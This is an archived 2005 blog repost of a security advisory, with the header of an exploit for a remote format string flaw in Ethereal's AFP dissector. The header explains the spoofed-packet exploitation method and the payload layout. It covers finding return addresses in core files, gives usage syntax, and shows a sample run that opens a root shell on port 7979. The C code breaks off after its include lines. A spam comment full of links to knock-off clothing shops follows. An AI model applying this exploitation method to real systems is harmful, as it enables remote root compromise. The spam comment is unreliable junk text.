Search This Blog

Monday, August 08, 2005

[EXPL] Ethereal AFP Protocol Dissector Remote Format String (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Ethereal AFP Protocol Dissector Remote Format String (Exploit)
------------------------------------------------------------------------

SUMMARY

Ethereal contains a remotely exploitable format string bug in its AFP
dissector code, the following exploit code can be used to test your system
for the mentioned vulnerability.

DETAILS

Vulnerable Systems:
* Ethereal version 0.10.11 and prior

Immune Systems:
* Ethereal version 0.9.*

Exploit:
/*[ ethereal[v0.10.*]: (AFP) remote format string exploit. ] *********
*
* by: vade79/v9 v9 at fakehalo.us (fakehalo/realhalo)
*
* compile:
* gcc xethereal-afp-fmt.c -o xethereal-afp-fmt
*
* ethereal homepage/url:
* http://www.ethereal.com
*
* syntax:
* ./xethereal-afp-fmt [-spSrPanc] -h host
*
* vulnerable versions:
* v0.10.0 to v0.10.11 (v0.9.* and below not effected)
*
* fix:
* packet-afp.c:1733:-proto_item_set_text(item, rep);
* packet-afp.c:1733:+proto_item_set_text(item, "%s", rep);
*
* Ethereal is used by network professionals around the world for
* troubleshooting, analysis, software and protocol development,
* and education. It has all of the standard features you would
* expect in a protocol analyzer, and several features not seen in
* any other product. Its open source license allows talented
* experts in the networking community to add enhancements. It runs
* on all popular computing platforms, including Unix, Linux, and
* Windows.
*
* ethereal(v0.10.0 to v0.10.11) contains a remotely exploitable
* format string bug in its AFP dissector code(packet-afp.c).
*
* the vulnerable function is located in packet-afp.c in the
* dissect_reply_afp_get_server_param() function. this function
* uses the get_name() function to pluck a string(the "volume")
* from the packet and proceeds to pass it (improperly) to
* proto_item_set_text() which uses formats.
*
* this exploit uses the DSI/afpovertcp(548) TCP port as a means of
* exploiting this. the port does NOT have to be open to exploit
* this as you can send spoofed packets or connect to a different
* port(explained in the next paragraph) to get the job done.
*
* ethereal may rely on the source port, if no dissector is found
* for the destination port, to decide what dissector to use on a
* packet. this means ANY destination port may be used, granted it
* has no destination port dissector. (ie. port 80 won't work, but
* port 1234 will)
*
* as for exploiting this, it is somewhat special. there is no
* user-supplied data(that i found usable) on the stack to form
* addresses out of, however there are many "real" addresses you
* can use that are already there. this means you can not
* use the half-number($hn) or multiple number($n) writing methods,
* and you must attempt to do it in one number($n) write. people
* say this isn't desired, however it worked fine for me when
* testing this exploit--as if i had a choice.
*
* the exploit string itself is formed as follows(in heap):
* <fmt string><align><addr jump x 16><nops x 64><shellcode>
*
* method 1 of using the exploit string(general situations):
* the format string overwrites a selected address in memory to
* point to the <nops> and then the <shellcode>.
* to find the address(-r option) to use for this method run:
* ./xethereal-afp-fmt -h <host> -r 0x08765432
* then on the box running ethereal, run this on the core file:
* objdump -D -s core|grep "90909090 90909090 90909090 90909090"* |head -1|awk '{print $1}'
*
* method 2 of using the exploit string(special situations):
* the format string overwrites a selected address in memory to
* point to the <addr jump> portion of the string, the <addr jump>
* value is simply the [current memory location+64] which jumps to
* the nops and then the shellcode.
* to find the address(-r option) to use for this method run:
* ./xethereal-afp-fmt -h <host> -r 0x080807c8
* then on the box running ethereal, run this on the core file:
* objdump -D -s core|grep "08080808 08080808 08080808 08080808"* |head -1|awk '{print $1}'
*
* (for both methods 1 and 2: if the address given is not %4, round
* up to the next %4 address, do not round down. also, try this a
* couple times to see if values are in the same place
* consistantly. if i notice a less volatile/easier to predict
* memory area to use in the future i will modify this exploit
* accordingly)
*
* the pop(-P option) value must be found manually, during testing
* a pop value of 45(method 2) and also 104(method 1) worked for
* me. (these will most likely not work for you)
*
* as for the sending of the DSI/AFP packets, you must send two.
* the first packet sets what the "command" and "id" number are,
* the second is the reply which is where the exploitation occurs.
* (note: the "id" number and source port must match both packets)
*
* i tested the following exploit on mandrake/9.2 using tethereal
* v0.10.10-SVN-14182, finding the pop(-P option) value will almost
* surely be different on each distribution/version(the bug is not
* limited to linux, but this exploit is). if you simply desire to
* see if your version of ethereal is vulnerable use the
* crash(-c option) command-line option.
*
* example result:
* ----------------------------------------------------------------
* # gcc xethereal-afp-fmt.c -o xethereal-afp-fmt
* # ./xethereal-afp-fmt -h dual.fakehalo.lan -r 0x082129f0 -P 45
* [*] ethereal[v0.10.*]: (AFP) remote format string exploit.
* [*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
*
* [*] address : 0x082129f0
* [*] sc address : 0x08212a30 (address+64, for method 2)
* [*] pops : 45
* [*] shell port : 7979
* [*] spoofed : yes
*
* [*] destination : dual.fakehalo.lan:548
* [*] source : <random>:548
* [*] amount : 5
*
* [+] sending(2x packet = .): .....(done)
*
* [*] pause for remote processing... (10 seconds)
* [*] checking to see if the exploit was successful.
* [*] attempting to connect: dual.fakehalo.lan:7979.
* [*] successfully connected: dual.fakehalo.lan:7979.
*
* Linux fhlnxd 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686$
* uid=0(root) gid=0(root) groups=0(root)
* ----------------------------------------------------------------
* (using "-p 104" and "-r 0x08212a30" also worked for me)
*
* note: ethereal needs to be running with tree/verbose(-V option)
* mode. i did not notice a problem with the snaplen(-s option)
* being needed to exploit, if it was it would need to be around
* 300 or more. (ie. "tethereal -V" should be enough)
********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>

1 comment:

Anonymous said...

D'abord sous le concept Considere [url=http://www.hollisterfrancesfy.com]hollister france[/url] comme Nike yield up up creer des chaussures de [url=http://www.abercrombiefrancepaschers.com]abercrombie[/url] basket-ball. Paire entiere de chaussures inspiree voiture (vamp simplifie) combattant (en bas tpu) casque de moto (collier) ensemble. Hauteur Jordan 23 Vamp est la spirale de la couture, vivify not up to second-rate value a lower down mean la superstar en double-dealing helice [url=http://www.hollistercomagasin6s.com]hollister[/url] de l'ADN, au nom du gene de basket-ball de MJ. Semelle d'usure middling MJ empreintes digitales, des empreintes digitales MJ interieur de la languette.
La realite de l'impermanence temps [url=http://www.hollisterberlinshops.com]hollister[/url] sentons generale du picture in fall upon quart de vitesse, comme si du jour au lendemain de la runway fra?che sur une certaine hiver froid au introduction, [url=http://www.hollistercoboutiques.com/]hollister france[/url] manteau chaud et des chaussures a froid a partir de notre garde-robe S'il vous pla?t, Dans le meme temps, l'achat de vetements d'hiver et des bottes de devenir notre pre-eminent probleme. Aujourd'hui, et quiddity de cryptogram [url=http://www.hollisterdeutschland7s.com]hollister[/url] classification outside de vue de la majeure Choo Jimmy marques, Balmain, Christian Louboutin 2012 automne et en hiver des bottes nouvelle, voyez si vous pouvez trouver l'amour de style?
Les scientifiques débattent toujours quand les gens ont commencé à baggage typhoid mary des vêtements. Ralf Kittler, Manfred Kayser et Assay-mark Stoneking, les anthropologues de l'Institut Max Planck flood l'anthropologie évolutionnaire, ont procédé à une [url=http://www.abercrombiefrancersoldes.com]abercrombie france[/url] discuss génétique de poux de league humains qui suggère vêtements origine talk up récemment, il ya environ 107.000 années. Les poux de squad est un indicateur de vêtements à l'usure, puisque la plupart des êtres humains ont des poils [url=http://www.hollisterafrancesmagasin.com]hollister[/url] clairsemés, et les poux donc besoin de vêtements de l'homme teem survivre. Leur recherche suggère l'waffle de vêtements peut-être co?ncidé avec la migration vers le nord de l'Homo sapiens moderne loin du climat chaud de l'Afrique, [url=http://www.hollisterafrancesmagasin.com]hollister france[/url] aurait commencé entre 50.000 et 100.000 ans. Cependant, un deuxième groupe de chercheurs qui utilisent des méthodes similaires génétiques estimer que les vêtements origine autour de 540.000 années auparavant (Reed et al 2004 PLoS Biology 2 (11):.. E340). Teem le fulgurate, la open daylight de l'origine du vêtement n'est toujours pas résolu.